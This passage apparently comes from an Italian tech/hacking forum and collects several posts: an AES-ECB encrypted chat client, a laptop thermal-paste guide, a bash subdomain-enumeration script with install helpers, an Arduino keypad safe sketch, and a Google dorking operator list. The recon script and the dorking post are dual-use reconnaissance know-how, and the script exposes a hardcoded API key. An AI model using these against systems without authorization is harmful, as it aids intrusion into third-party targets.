          EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s).encode('utf-8'))).decode('utf-8')
          cipher = AES.new(secret.encode('utf-8'), AES.MODE_ECB)
          encoded = EncodeAES(cipher, data)
          return encoded
      
      def decrypt(secret, data):
          BLOCK_SIZE = 32
          PADDING = '{'
          DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).decode('utf-8').rstrip(PADDING)
          cipher = AES.new(secret.encode('utf-8'), AES.MODE_ECB)
          decoded = DecodeAES(cipher, data)
          return decoded
      
      def chat_client():
          if len(sys.argv) < 5:
              print('Usage: python dream-irc.py [hostname] [port] [password] [username]')
              sys.exit()
      
          host = sys.argv[1]
          port = int(sys.argv[2])
          key = sys.argv[3]
          key = hasher(key)
          uname = sys.argv[4]
      
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(2)
      
          try:
              s.connect((host, port))
          except:
              print("\033[95m" + 'Unable to connect' + "\033[0m")
              sys.exit()
      
          print("Connected to remote host. Your messages will be securely transmitted.")
          sys.stdout.write("\033[34m" + '\n[local] #  ' + "\033[0m")
          sys.stdout.flush()
      
          while True:
              socket_list = [sys.stdin, s]
              read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])
      
              for sock in read_sockets:
                  if sock == s:
                      data = sock.recv(4096).decode('utf-8')
      
                      if not data:
                          print("\033[95m" + "\nDisconnected from server" + "\033[0m")
                          sys.exit()
                      else:
                          data = decrypt(key, data)
                          sys.stdout.write(data)
                          sys.stdout.write("\033[34m" + '\n[local] #  ' + "\033[0m")
                          sys.stdout.flush()
                  else:
                      msg = sys.stdin.readline()
                      msg = '[ ' + uname + ': ] ' + msg
                      msg = encrypt(key, msg)
                      s.send(msg.encode('utf-8'))
                      sys.stdout.write("\033[34m" + '\n[local] #  ' + "\033[0m")
                      sys.stdout.flush()
      
      if __name__ == "__main__":
          sys.exit(chat_client())

      ircehf.conf:

      [config]
      
      HOST = 127.0.0.1
      
      PORT = 43434
      
      PASSWORD = password
      
      VIEW = 0

    • Finalmente dopo 3 anni ho deciso di cambiare pasta termica al mio laptop MSI serie Pulse! Operazione non difficile ma vorrei comunque condividerla.
      Premessa per MSI, il cambio pasta termica e pulizia del portatile sono consentiti direttamente dall’utente quindi non serve farsi autorizzare da rivenditori.
      Se siete ancora in garanzia e non volete invalidarla, dovrete inviare prima una mail a it.assistenza@msi.com descrivendo operazione da fare e seriale che trovate dietro al portatile.

      Materiali necessari:

      • Pasta termica (non conduttiva) nel mio caso ho usato la Arctic MX-6 visto che era in sconto.

      • Alcool isopropilico per elettronica (ci servirà per rimuovere i residui di pasta precedente).

      • Cacciavite a stella o avvitatore

      • Guanti (non obbligatori ma consigliati per non toccare i pad termici).

      • Molta carta/dischetti da trucco o panni in microfibra per pulire.

      • Molta pazienza

      Iniziamo smontando la scocca del laptop svitando le rispettive viti, attenzione che sotto il sigillo di garanzia c'è sicuramente una vite!
      Con molta attenzione solleviamola aiutandoci anche con i fori per la dissipazione.

      Prima di togliere tutto scollegate i due cavi di alimentazione delle ventole sulla scheda madre, se vi sentite più sicuri togliete il collegamento alla batteria ma non è obbligatorio.
      Ora bisogna togliere il dissipatore, sopra di esso a fianco alle viti trovate dei numeri. Quei numeri sono proprio l'ordine da rispettare per montarle/smontarle, caldamente consigliato rispettare l'ordine soprattutto in fase di rimontaggio del dissipatore altrimenti la pasta termica rischia di spalmarsi male o addirittura di fuoriuscire (se conduttiva potete buttare il laptop).

      Ora delicatamente stacchiamo il dissipatore.

      Puliamo a fondo CPU, GPU e dissipatore dai rimasugli della vecchia pasta, nel mio caso applicata davvero male con una consistenza simile al pongo! :/

      Finita la pulizia applichiamo la pasta termica, io ho preferito abbondare leggermente per essere sicuro di coprire tutta la superficie ma ne basterebbe anche meno.

      Inoltre la MX-6 rispetto alla MX-4 è molto più viscosa e ho preso la versione da 8 grammi.
      L'importante è non esagerare perché potrebbe fuoriuscire!

      Finito il tutto rimontiamo delicatamente il dissipatore e rispettiamo assolutamente l'ordine scritto a fianco alle viti!
      Ricollegate le ventole e montata la scocca questo è il risultato!

      A riposo dopo 15 min:

      Sotto sforzo ventole automatiche (no cooler boost)

      Temperature ottime anche sotto sforzo, operazione consigliatissima dopo 2/3 anni (magari con anche il cambio dei pad termici che non ho fatto).

    • Oggi vedremo uno script bash che ci permette di analizzare i sottodomini di un webserver tramite diverse utility:

      Struttura del codice:

      - /path/to/script/
       - subdomain_finder.sh    # bash 
       - requirements.txt       # requisiti Python
       - install_tools.sh       # servizi richiesti
       - recon.log              # log (creato dallo script)
       - domains.txt            # (opzionale) lista di domini

      Il codice inizia definendo diversi colori per il terminale, subito dopo definiamo la funzione display_usage che restituisce le istruzioni su come usare lo script compreso un esempio di comando (questa funzione viene richiamata tramite -h o --help).
      Definiamo una funzione di log che ci permette di salvarlo tramite timestamp.
      Viene installato figlet tramite apt-get, tool opzionale utilizzato per generare il banner dello script.
      Quando richiamiamo il tool da terminale i comandi vengono riconosciuti tramite parsing degli argomenti quindi analizza gli argomenti: della riga di comando per determinare il dominio (-d o --domain), il file della lista di domini (-dL o --domain-list) e la directory di output (-o o --output).
      Se il comando inserito non è corretto o il dominio non viene inserito in maniera corretta restituisce un errore e il messaggio di utilizzo (idem se non viene trovata nessuna lista di domini).
      Poi viene scritta la logica per salvare la cartella di output, se viene specificata lo script la crea e cambia la directory corrente in quella directory.
      Viene creata la funzione run_recon che avvia l'enumerazione dei sottodomini tramite i servizi specificati in precedenza (Assetfinder, Subfinder, Sublist3r, Chaos, Crtsh, Crobat, Findomain, Knockpy, Amass). I risultati di ciascun tool vengono salvati in file separati e poi combinati in un unico file di sottodomini unici, questi file temporanei vengono poi rimossi.
      Se abbiamo configurato correttamente il codice per Telegram e Discord, dopo aver completato l'enumerazione invia una notifica a un webhook Discord e a un bot Telegram (con timestamp).

      #!/bin/bash
      
      RED=$(tput setaf 1)
      GREEN=$(tput setaf 2)
      BLUE=$(tput setaf 4)
      YELLOW=$(tput setaf 3)
      CYAN=$(tput setaf 6)
      WHITE=$(tput setaf 7)
      RESET=$(tput sgr0)
      
      display_usage() {
          echo "${YELLOW}Subdomain Finder di Samueleex${RESET}"
          echo
          echo "Uso: $0 [opzioni]"
          echo
          echo "Opzioni:"
          echo "  -h, --help               Dove ti trovi ora"
          echo "  -d, --domain <nome>      Specifica un dominio"
          echo "  -dL, --domain-list       Specifica un file con una lista di domini"
          echo "  -o, --output <directory> Specifica la directory di output"
          echo
          echo "Esempio: $0 -d example.com -o /home/user/Desktop"
          exit 1
      }
      
      log() {
          local log_file="recon.log"
          local timestamp=$(date +"%Y-%m-%d %T")
          echo "[$timestamp] $1" >> "$log_file"
          echo -e "$2$1${RESET}"
      }
      
      if ! command -v figlet &> /dev/null; then
          echo "Figlet non presente. Installazione..."
          sudo apt-get update
          sudo apt-get install -y figlet
      fi
      
      color_code="\033[31m"
      reset_color="\033[0m"
      figlet_text=$(figlet "Sub finder")
      colored_text="${color_code}${figlet_text}${reset_color}"
      echo -e "$colored_text"
      
      output_file=""
      domain=""
      domain_list=""
      output_dir=""
      
      while [[ $# -gt 0 ]]; do
          key="$1"
          case $key in
              -h|--help)
                  display_usage
                  ;;
              -d|--domain)
                  domain="$2"
                  shift
                  ;;
              -dL|--domain-list)
                  domain_list="$2"
                  shift
                  ;;
              -o|--output)
                  output_dir="$2"
                  shift
                  ;;
              *)
                  echo -e "${RED}Opzione sconosciuta: $1${RESET}"
                  display_usage
                  ;;
          esac
          shift
      done
      
      set -e
      
      if [ -z "$domain" ] && [ -z "$domain_list" ]; then
          log "For bash practice and fun!" "$RED"
          display_usage
      fi
      
      if [ -n "$domain_list" ]; then
          domain_list="$(realpath "$domain_list")"
          if [ ! -f "$domain_list" ]; then
              log "Errore: file della lista dei domini non trovato: $domain_list" "$RED"
              exit 1
          fi
      fi
      
      if [ -n "$output_dir" ]; then
          mkdir -p "$output_dir" || { log "Errore: impossibile creare la directory di output: $output_dir" "$RED"; exit 1; }
          cd "$output_dir" || { log "Errore: impossibile cambiare directory a: $output_dir" "$RED"; exit 1; }
      fi
      
      run_recon() {
          local current_domain="$1"
          log "Inizio enumerazione per: $current_domain" "$WHITE"
          local domain_output_dir="$current_domain"
          mkdir -p "$domain_output_dir"
          cd "$domain_output_dir" || { log "Errore cambiando directory: $domain_output_dir" "$RED"; exit 1; }
      
          tools=("Assetfinder" "Subfinder" "Sublist3r" "Chaos" "Crtsh" "Crobat" "Findomain" "Knockpy" "Amass")
      
          for tool in "${tools[@]}"; do
              echo "Esecuzione di $tool per $current_domain..."
              log "Esecuzione di $tool per $current_domain" "$BLUE"
              case $tool in
                  "Assetfinder")
                      assetfinder "$current_domain" > assetfinder_Tool.txt 2>/dev/null || true
                      ;;
                  "Subfinder")
                      subfinder -d "$current_domain" > subfinder_Tool.txt 2>/dev/null || true
                      ;;
                  "Sublist3r")
                      sublist3r -d "$current_domain" -o sublist3r_Tool.txt > /dev/null 2>&1 || true
                      ;;
                  "Chaos")
                      chaos -d "$current_domain" -silent -key 3c8d87ff-efad-43a4-ab80-a4a3aa528e73 -o chaos_Tool.txt > /dev/null 2>&1 || true
                      ;;
                  "Crtsh")
                      curl -s "https://crt.sh/?q=%.$current_domain" | sed 's/<[^>]*>//g' | grep -Eo "[a-zA-Z0-9._-]+\.$current_domain" | sed '/^$/d' > crtsh_Tool.txt
                      ;;
                  "Crobat")
                      crobat -s "$current_domain" -o crobat_Tool.txt 2>/dev/null || true
                      ;;
                  "Findomain")
                      findomain -t "$current_domain" -u findomain_Tool.txt > /dev/null 2>&1 || true
                      ;;
                  "Knockpy")
                      knockpy.py -d "$current_domain" > knockpy_Tool.txt 2>/dev/null || true
                      ;;
                  "Amass")
                      amass enum -passive -d "$current_domain" > amass_Tool.txt 2>/dev/null || true
                      ;;
              esac
          done
      
          cat *_Tool.txt | sort -u > $current_domain-subdomains.txt
          rm *_Tool.txt
          if ls *.json >/dev/null 2>&1; then
              rm *.json
              echo "Tutti i file .json sono stati rimossi dalla directory."
          fi
      
          if [ -z "$output_dir" ]; then
              echo -e "${WHITE}Fatto! Risultati in: $current_domain${RESET}"
              log "Fatto! Risultati in: $current_domain" "$BLUE"
          else
              echo -e "${WHITE}Fatto! Risultati in: $output_dir${RESET}"
              log "Fatto! Risultati in: $output_dir" "$BLUE"
          fi
      
          cd .. || { log "Errore cambiando directory: $output_dir" "$RED"; exit 1; }
      }
      
      if [ -n "$domain" ]; then
          run_recon "$domain"
      fi
      
      if [ -n "$domain_list" ]; then
          while IFS= read -r line; do
              run_recon "$line"
          done < "$domain_list"
          rm -f *_Tool.txt
          if ls *.json >/dev/null 2>&1; then
              rm *.json
              echo "Tutti i file .json sono stati rimossi."
          fi
      fi
      
      current_datetime=$(date +"%Y-%m-%d %H:%M:%S")
      message="Azione per $current_domain completata il $current_datetime"
      
      webhook_url="WEBHOOK_URL"
      response=$(curl -s -o /dev/null -w "%{http_code}" -X POST -H "Content-Type: application/json" -d "{\"content\":\"$message\"}" "$webhook_url" 2>/dev/null)
      if [[ $response == "200" || $response == "204" ]]; then
          echo "Notifica inviata a Discord per $current_domain."
      else
          echo "Notifica non inviata, errore $response"
      fi
      
      telegram_token="token"
      chat_id="id"
      telegram_response=$(curl -s -X POST "https://api.telegram.org/bot$telegram_token/sendMessage" -d "chat_id=$chat_id" -d "text=$message")
      if [[ $telegram_response =~ "\"ok\":true" ]]; then
          echo "Notifica Telegram inviata per $current_domain"
      else
          echo "Messaggio non inviato, errore $telegram_response"
      fi

      Requisiti

      install_tools.sh

      #!/bin/bash
      
      command_exists() {
          command -v "$1" &> /dev/null
      }
      
      if command_exists go; then
          go install github.com/tomnomnom/assetfinder@latest
          go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
          go install github.com/projectdiscovery/chaos-client/cmd/chaos@latest
          go install github.com/cgboal/sonarsearch/crobat@latest
      else
          echo "Go non installato. Installare Go prima di procedere."
          exit 1
      fi
      
      if ! command_exists findomain; then
          wget https://github.com/Findomain/Findomain/releases/latest/download/findomain-linux
          chmod +x findomain-linux
          sudo mv findomain-linux /usr/local/bin/findomain
      else
          echo "Findomain già installato."
      fi
      
      if ! command_exists amass; then
          sudo apt-get update
          sudo apt-get install -y amass
      else
          echo "Amass già installato."
      fi

      requirements.txt

      sublist3r
      knockpy
      • Versione aggiornata della cassaforte con aggiunta del modulo ds1307 (per la gestione del tempo) e l'aggiunta del relay.

        Codice:

        #include <Wire.h>
        #include <LiquidCrystal_I2C.h>
        #include <Keypad.h>
        #include <RTClib.h>
        #include <Adafruit_NeoPixel.h>
        #include <EEPROM.h>
        
        #define PIN_RING 11
        #define NUM_PIXELS 16
        
        int state = 0;
        int menuState = 0;
        int limit = 5;
        int limitSave = limit;
        
        LiquidCrystal_I2C lcd(0x27, 16, 2);
        
        const byte ROWS = 4;
        const byte COLS = 4;
        char keys[ROWS][COLS] = {
          {'1', '2',  '3', 'A'},
          {'4', '5',  '6', 'B'},
          {'7', '8',  '9', 'C'},
          {'*', '0',  '#', 'D'}
        };
        byte rowPins[ROWS] = {2, 3, 4, 5};
        byte colPins[COLS] = {6, 7, 8, 9};
        Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS);
        String inputPIN = "";
        #define DEFAULT_PIN "1234"
        String storedPIN = DEFAULT_PIN;
        
        int menuIndex = 0;
        int menuText = 1;
        
        String newPIN = "";
        bool confirmPIN = false;
        const int EEPROM_ADDRESS = 0;
        
        unsigned long previousMillisLimit = 0;
        const long intervalLimit = 1000;
        
        bool US = true;
        bool MP = true;
        bool MI = true;
        bool LTDP = true;
        bool CLTD = true;
        bool fLockedt = true;
        bool openedState = true;
        bool ST = true;
        
        bool move = false;
        
        RTC_DS1307 rtc;
        
        Adafruit_NeoPixel ring = Adafruit_NeoPixel(NUM_PIXELS, PIN_RING, NEO_GRB + NEO_KHZ800);
        
        #define PIR 13
        
        #define BUZZER A3
        
        #define RELAY 12
        
        #define RED A0
        #define GREEN A1
        #define BLUE A2
        
        void setup() {
          lcd.init();
          lcd.backlight();
          lcd.setCursor(0, 0);
        
          Serial.begin(9600);
        
          if (!rtc.begin()) {
            lcd.setCursor(0, 1);
            lcd.print("RTC non trovato");
            while (1);
          }
          if (!rtc.isrunning()) {
            rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
          }
        
          ring.begin();
          ring.show();
        
          pinMode(PIR, INPUT);
        
          pinMode(BUZZER, OUTPUT);
        
          pinMode(RED, OUTPUT);
          pinMode(GREEN, OUTPUT);
          pinMode(BLUE, OUTPUT);
        
          digitalWrite(RED, HIGH);
        
          intro();
          homeLock();
          state = 1;
        }
        
        void loop() {
          switch (state) {
            case 1:
              lockState();
              break;
            case 2:
              unlockState();
              break;
            case 3:
              menuPIN();
              break;
            case 4:
              menuOptions();
              break;
            case 5:
              openState();
              break;
            case 6:
              secureState();
              break;
          }
        }
        
        void lockState() {
          char key = keypad.getKey();
          if (key) {
            if (key == '#') {
              if (storedPIN == inputPIN) {
                lcd.setCursor(5, 1);
                tone(BUZZER, 1000, 500);
                state = 2;
                US = true;
                unlockState();
              } else {
                lcd.setCursor(5, 1);
                lcd.print("PIN errato");
                delay(1000);
                inputPIN = "";
                lcd.setCursor(4, 1);
                lcd.print("          ");
                lcd.setCursor(5, 1);
              }
              inputPIN = "";
            } else if (key == '*') {
              inputPIN = "";
              lcd.setCursor(4, 1);
              lcd.print("        ");
            } else {
              inputPIN += key;
              lcd.setCursor(5 + inputPIN.length() - 1, 1);
              lcd.print('*');
              tone(BUZZER, 500, 100);
              Serial.println(inputPIN);
            }
          }
        }
        
        void unlockState() {
          digitalWrite(RED, LOW);
          digitalWrite(GREEN, HIGH);
          if (US == true) {
            lcd.clear();
            US = false;
          }
          lcd.noBlink();
          lcd.noCursor();
          showTime();
          showDate(3);
        
          char key = keypad.getKey();
          if (key) {
            if (key == 'D') {
              state = 3;
            } else if (key == '*') {
              openState();
              state = 5;
            }
          }
        }
        
        void intro() {
          Serial.print("1");
          lcd.setCursor(3, 0);
          lcd.print("CodeLock");
          lcd.setCursor(0, 1);
          for (int i = 0; i < 16; i++) {
            lcd.print("*");
            delay(80);
          }
        }
        
        void homeLock() {
          lcd.clear();
          lcd.setCursor(2, 0);
          lcd.print("--SECURED--");
          lcd.setCursor(0, 1);
          lcd.print("PIN: ");
          lcd.cursor();
          lcd.blink();
          state = 1;
        }
        
        void showDate(int timeCursor) {
          DateTime now = rtc.now();
          lcd.setCursor(timeCursor, 1);
          lcd.print(now.year());
          lcd.print('/');
          if (now.month() < 10) lcd.print('0');
          lcd.print(now.month());
          lcd.print('/');
          if (now.day() < 10) lcd.print('0');
          lcd.print(now.day());
        }
        
        void showTime() {
          DateTime now = rtc.now();
          lcd.setCursor(4, 0);
          if (now.hour() < 10) lcd.print('0');
          lcd.print(now.hour());
          lcd.print(':');
          if (now.minute() < 10) lcd.print('0');
          lcd.print(now.minute());
          lcd.print(':');
          if (now.second() < 10) lcd.print('0');
          lcd.print(now.second());
        }
        
        void menuPIN() {
          if (MP == true) {
            digitalWrite(RED, HIGH);
            digitalWrite(GREEN, LOW);
            MP = false;
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Menu LOCKED!");
            lcd.setCursor(0, 1);
            lcd.print("PIN: ");
          }
          char key = keypad.getKey();
          if (key) {
            if (key == '#') {
              if (storedPIN == inputPIN) {
                lcd.setCursor(5, 1);
                tone(BUZZER, 1000, 500);
                state = 4;
                MP = true;
                menuOptions();
              } else {
                lcd.setCursor(5, 1);
                lcd.print("PIN errato");
                delay(1000);
                inputPIN = "";
                lcd.setCursor(4, 1);
                lcd.print("          ");
                lcd.setCursor(5, 1);
              }
              inputPIN = "";
            } else if (key == '*') {
              inputPIN = "";
              lcd.setCursor(4, 1);
              lcd.print("        ");
            } else {
              inputPIN += key;
              lcd.setCursor(5 + inputPIN.length() - 1, 1);
              lcd.print('*');
              tone(BUZZER, 500, 100);
              Serial.println(inputPIN);
            }
          }
        }
        
        void menuOptions() {
          char key = keypad.getKey();
        
          digitalWrite(RED, LOW);
          digitalWrite(GREEN, HIGH);
        
          if (key) {
            if (key == '#') {
              menuIndex = menuText;
            }
          }
          switch (menuIndex) {
            case 1:
              changeLimit();
              break;
            case 2:
              changePIN();
              break;
            case 3:
              changeDate();
              break;
            case 4:
              changeTime();
              break;
          }
        
          if (menuText == 1) {
            if (MI == true) {
              MI = false;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Cambia limite");
            }
            if (key) {
              if (key == 'A') {
                menuText = 4;
                MI = true;
              } else if (key == 'B') {
                menuText = 2;
                MI = true;
              } else if (key == '#') {
                menuIndex = 1;
                CLTD = true;
              }
            }
          } else if (menuText == 2) {
            if (MI == true) {
              MI = false;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Cambia PIN");
            }
            if (key) {
              if (key == 'A') {
                menuText = 1;
                MI = true;
              } else if (key == 'B') {
                menuText = 3;
                MI = true;
              } else if (key == '#') {
                CLTD = true;
                menuIndex = 2;
              }
            }
          } else if (menuText == 3) {
            if (MI == true) {
              MI = false;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Cambia data");
            }
            if (key) {
              if (key == 'A') {
                menuText = 2;
                MI = true;
              } else if (key == 'B') {
                menuText = 4;
                MI = true;
              } else if (key == '#') {
                CLTD = true;
                menuIndex = 3;
              }
            }
          } else if (menuText == 4) {
            if (MI == true) {
              MI = false;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Cambia ora");
            }
            if (key) {
              if (key == 'A') {
                menuText = 3;
                MI = true;
              } else if (key == 'B') {
                menuText = 1;
                MI = true;
              } else if (key == '#') {
                CLTD = true;
                menuIndex = 4;
              }
            }
          }
        }
        
        void changeLimit() {
          if (CLTD == true) {
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Vecchio Limite:");
            lcd.setCursor(5, 1);
            lcd.print(limit);
            delay(1000);
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Nuovo limite:");
            CLTD = false;
          }
          char key = keypad.getKey();
          if (key) {
            if (key == '*') {
              limitSave = limit;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Salvato");
              delay(500);
              EEPROM.put(EEPROM_ADDRESS, limitSave);
              lcd.clear();
              menuIndex = 0;
            } else if (key == '#') {
              limit = 0;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Annullato");
              delay(500);
              lcd.clear();
              menuIndex = 0;
            } else {
              limit = limit * 10 + (key - '0');
              lcd.setCursor(5, 1);
              lcd.print(limit);
            }
          }
        }
        
        void changePIN() {
          if (CLTD == true) {
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Nuovo PIN:");
            CLTD = false;
          }
          char key = keypad.getKey();
          if (key) {
            if (key == '*') {
              if (confirmPIN) {
                storedPIN = newPIN;
                newPIN = "";
                confirmPIN = false;
                lcd.clear();
                lcd.setCursor(0, 1);
                lcd.print("PIN Salvato");
                delay(500);
                lcd.clear();
                menuIndex = 0;
              } else {
                newPIN = "";
                confirmPIN = true;
                lcd.setCursor(0, 1);
                lcd.print("Conferma PIN:");
              }
            } else if (key == '#') {
              newPIN = "";
              confirmPIN = false;
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Annullato");
              delay(500);
              lcd.clear();
              menuIndex = 0;
            } else {
              newPIN += key;
              lcd.setCursor(newPIN.length() - 1, 1);
              lcd.print('*');
            }
          }
        }
        
        void changeDate() {
          DateTime now = rtc.now();
          if (CLTD == true) {
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Vecchia Data:");
            showDate(5);
            delay(2000);
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Nuova Data:");
            CLTD = false;
          }
          static int datePart = 0;
          static int year = now.year();
          static int month = now.month();
          static int day = now.day();
          char key = keypad.getKey();
          if (key) {
            if (key == '*') {
              if (datePart == 2) {
                rtc.adjust(DateTime(year, month, day, now.hour(), now.minute(), now.second()));
                lcd.setCursor(0, 1);
                lcd.print("Data Salvata");
                delay(500);
                lcd.clear();
                menuIndex = 0;
                datePart = 0;
              } else {
                datePart++;
              }
            } else if (key == '#') {
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Annullato");
              delay(500);
              lcd.clear();
              menuIndex = 0;
              datePart = 0;
            } else {
              int num = key - '0';
              if (datePart == 0) {
                year = year * 10 + num;
                lcd.setCursor(5 + (year > 1000 ? 4 : year > 100 ? 3 : year > 10 ? 2 : 1), 1);
                lcd.print(year);
              } else if (datePart == 1) {
                month = month * 10 + num;
                lcd.setCursor(7, 1);
                lcd.print('/');
                lcd.print(month);
              } else if (datePart == 2) {
                day = day * 10 + num;
                lcd.setCursor(10, 1);
                lcd.print('/');
                lcd.print(day);
              }
            }
          }
        }
        
        void changeTime() {
          DateTime now = rtc.now();
          if (CLTD == true) {
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Vecchia Ora:");
            showTime();
            delay(2000);
            lcd.clear();
            lcd.setCursor(0, 0);
            lcd.print("Nuova Ora:");
            CLTD = false;
          }
          static int timePart = 0;
          static int hour = now.hour();
          static int minute = now.minute();
          static int second = now.second();
          char key = keypad.getKey();
          if (key) {
            if (key == '*') {
              if (timePart == 2) {
                rtc.adjust(DateTime(now.year(), now.month(), now.day(), hour, minute, second));
                lcd.setCursor(0, 1);
                lcd.print("Ora Salvata");
                delay(500);
                lcd.clear();
                menuIndex = 0;
                timePart = 0;
              } else {
                timePart++;
              }
            } else if (key == '#') {
              lcd.clear();
              lcd.setCursor(0, 1);
              lcd.print("Annullato");
              delay(500);
              lcd.clear();
              menuIndex = 0;
              timePart = 0;
            } else {
              int num = key - '0';
              if (timePart == 0) {
                hour = hour * 10 + num;
                lcd.setCursor(5, 1);
                lcd.print(hour);
              } else if (timePart == 1) {
                minute = minute * 10 + num;
                lcd.setCursor(7, 1);
                lcd.print(':');
                lcd.print(minute);
              } else if (timePart == 2) {
                second = second * 10 + num;
                lcd.setCursor(10, 1);
                lcd.print(':');
                lcd.print(second);
              }
            }
          }
        }
        
        void openState() {
          if (openedState == true) {
            openedState = false;
            digitalWrite(RELAY, HIGH);
            lcd.clear();
            lcd.setCursor(3, 0);
            lcd.print("--APERTA--");
            lcd.setCursor(0, 1);
            lcd.print("Aperto da");
            showDate(9);
            delay(2000);
          }
          unsigned long currentMillisLimit = millis();
          if (currentMillisLimit - previousMillisLimit >= intervalLimit) {
            previousMillisLimit = currentMillisLimit;
            limit--;
            lcd.setCursor(12, 1);
            lcd.print(limit);
            if (limit <= 0) {
              limit = limitSave;
              previousMillisLimit = 0;
              lcd.clear();
              lcd.setCursor(0, 0);
              lcd.print("--CHIUSA--");
              delay(1000);
              digitalWrite(RELAY, LOW);
              homeLock();
              openedState = true;
              state = 1;
            }
          }
          char key = keypad.getKey();
          if (key) {
            if (key == '*') {
              limit = limitSave;
              previousMillisLimit = 0;
              lcd.clear();
              lcd.setCursor(0, 0);
              lcd.print("--CHIUSA--");
              delay(1000);
              digitalWrite(RELAY, LOW);
              homeLock();
              openedState = true;
              state = 1;
            }
          }
        }
        
        void secureState() {
          digitalWrite(RED, HIGH);
          digitalWrite(GREEN, LOW);
          lcd.clear();
          lcd.setCursor(2, 0);
          lcd.print("--CHIUSA--");
          lcd.setCursor(0, 1);
          lcd.print("PIN: ");
          lcd.cursor();
          lcd.blink();
          state = 1;
        }
      • Il Google Dorking è una pratica dove si sfruttano operatori avanzati per una ricerca tramite Google, è possibile quindi creare query di ricerca precise che possono rivelare dati sensibili, file nascosti, directory aperte e altre informazioni che potrebbero non essere facilmente accessibili attraverso ricerche standard (sempre indicizzate ma con ranking basso, altrimenti sarebbe deep web).
        Potenzialmente con Google Dork è possibile trovare pagine web che contengono vulnerabilità di sicurezza, informazioni sensibili o altri tipi di dati che potrebbero non essere stati intenzionalmente esposti appunto perché si pensa che questi link non vengano condivisi e davvero si trova di tutto: telecamere IP, pannelli admin ecc...

        Operatori più usati e molto utili:

        1. intitle:
          Usato per trovare pagine web con le parole specificate nel titolo.
          Esempio: intitle:hacking xss
          Questo operatore è utile per trovare pagine web in cui il titolo contiene una parola o una frase specifica. Utile per ricerche di articoli o post di blog.

        2. allintitle:
          Trova pagine web dove tutte le parole specificate appaiono nel titolo.
          Esempio: allintitle:xss
          Simile a intitle:, ma richiede che tutte le parole specificate siano presenti nel titolo della pagina web.

        3. related:
          Trova pagine web simili al sito web specificato.
          Esempio: related:ethicalhacking.freeflarum.com
          Utile per trovare siti web che trattano argomenti simili a quelli di un sito web specificato.

        4. OR
          Trova pagine web che contengono almeno una delle parole specificate (come suggerisce il nome della porta logica).
          Esempio: xss OR MITM
          Usato per combinare più termini di ricerca dove entrambe le parole possono comparire

        5. AND
          Descrizione: Trova pagine web che contengono tutte le parole specificate.
          Esempio: xss AND MITM
          Mostrerà pagine che contengono entrambe le keywords.

        6. -
          Esclude pagine web contenenti la parola specificata.
          Esempio: hacking -programmazione
          Utile per filtrare i risultati della ricerca escludendo pagine che contengono un termine indesiderato.

        7. ()
          Raggruppa più termini di ricerca per controllare l'ordine delle operazioni.
          Esempio: (xss tutorial)
          Funziona come parentesi in un'espressione matematica raggruppando termini e operatori per specificare l'ordine di elaborazione.

        8. *
          Agisce come un carattere jolly per una o più parole.
          Esempio: * xss hacking
          Permette di inserire un segnaposto per una o più parole sconosciute o variabili.

        9. define:
          Per definizioni della parola specificata.
          Esempio: define:algoritmo
          In questo modo si ottengono definizioni rapide e precise di termini.

        10. filetype:
          Limita i risultati di ricerca a tipi di file specifici.
          Esempio: filetype:pdf xss tutorial
          Consente di cercare file di un certo tipo come PDF, DOC, XLS, ecc... restringendo i risultati solo a quelli rilevanti.

        11. cache:
          Visualizza la versione cache di una pagina web.
          Esempio: cache:ethicalhacking.freeflarum.com
          Mostra una copia salvata da Google di una pagina web utile se il sito originale è temporaneamente non disponibile.

        12. site:
          Limita i risultati di ricerca a pagine di un sito web specifico.
          Esempio: site:ethicalhacking.freeflarum.com intelligenza artificiale
          Utile per cercare informazioni all'interno di un sito specifico bypassando i risultati di altri siti.

        13. inurl:
          Trova pagine web con la parola specificata nell'URL.
          Esempio: inurl:xss
          Ricerca URL che contengono il termine specificato utile per identificare pagine specifiche all'interno di siti web.

        14. allinurl:
          Trova pagine web con tutte le parole specificate nell'URL ma più selettivo.
          Esempio: allinurl:migliori ricette pizza
          Funziona come inurl:, ma richiede che tutte le parole siano presenti nell'URL.

        15. weather:
          Visualizza le informazioni meteo per una località specificata.
          Esempio: weather:Roma
          Restituisce rapidamente previsioni del tempo.

        16. map:
          Mostra risultati di mappe per una località o una query specificata.
          Esempio: map:Milano
          Tramite Google Maps si visualizza mappe dettagliate e indicazioni.

        17. movie:
          Visualizza orari dei film e informazioni.
          Esempio: movie:Avengers Endgame
          Fornisce informazioni sui film inclusi orari degli spettacoli e recensioni.

        18. stocks:
          Mostra informazioni sulle azioni di una specifica azienda.
          Esempio: stocks:Nike
          Visualizza quotazioni e grafici relativi alle azioni di una determinata società.

        19. intext:
          Trova pagine web con le parole specificate nel testo del corpo.
          Esempio: intext:come inizio a programmare?
          Cerca termini all'interno del testo principale delle pagine web piuttosto che nei titoli o URL.

        20. allintext:
          Trova pagine web con tutte le parole specificate nel testo del corpo.
          Esempio: allintext:come hackerare una rete wifi?
          Simile a intext:, ma richiede che tutte le parole specificate siano presenti nel testo del corpo.

        21. source:
          Limita i risultati di ricerca a fonti o domini specifici.
          Esempio: source:gov cambiamento climatico
          Ricerca articoli e contenuti da fonti specifiche come domini governativi (.gov).

        22. in “esempio”
